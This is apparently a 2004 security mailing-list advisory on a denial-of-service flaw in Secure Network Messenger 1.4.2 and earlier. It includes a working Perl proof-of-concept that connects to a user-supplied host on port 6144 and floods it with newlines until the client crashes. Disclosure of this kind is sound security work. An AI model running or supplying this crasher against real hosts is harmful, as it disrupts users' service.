[EXPL] Secure Network Messenger DoS

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To: list@securiteam.com
Date: 15 Nov 2004 19:52:44 +0200

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  Secure Network Messenger DoS
------------------------------------------------------------------------

SUMMARY

" <http://www.networkmessengers.com/msg/> Secure Network Messenger (SNM) -
is a real time network communication program to send and receive messages
from one computer to another without using dedicated servers."
As reported, Secure Network Messenger can be crashed by sending client
large amount of carriage returns (\r\n). Presented here is proof of
concept code to the vulnerability.

DETAILS

Vulnerable Systems:
 * Secure Network Messenger Version 1.4.2 and prior.

Exploit Code:
#!/usr/bin/perl

use IO::Socket;
print ("\nSecure Network Messenger Crasher by ClearScreen\n");
print ("\nEnter host to crash: ");
$h = <STDIN>;
chomp $h;
$socks = IO::Socket::INET->new(
        Proto => "tcp",
        PeerPort => "6144",
        PeerAddr => "$h"
) or die "\nNo response from host.";

sleep 1;
print "\nSuccesfully connected to $h!\n";
for ($count=1; $count<15; $count++)
{
 print $socks "\n";
 select(undef, undef, undef, 0.1);
}
print "\nMessenger crashed.";
close $socks;

ADDITIONAL INFORMATION

The information has been provided by <mailto:clearscreen@lycantrope.com>
r`Futile.

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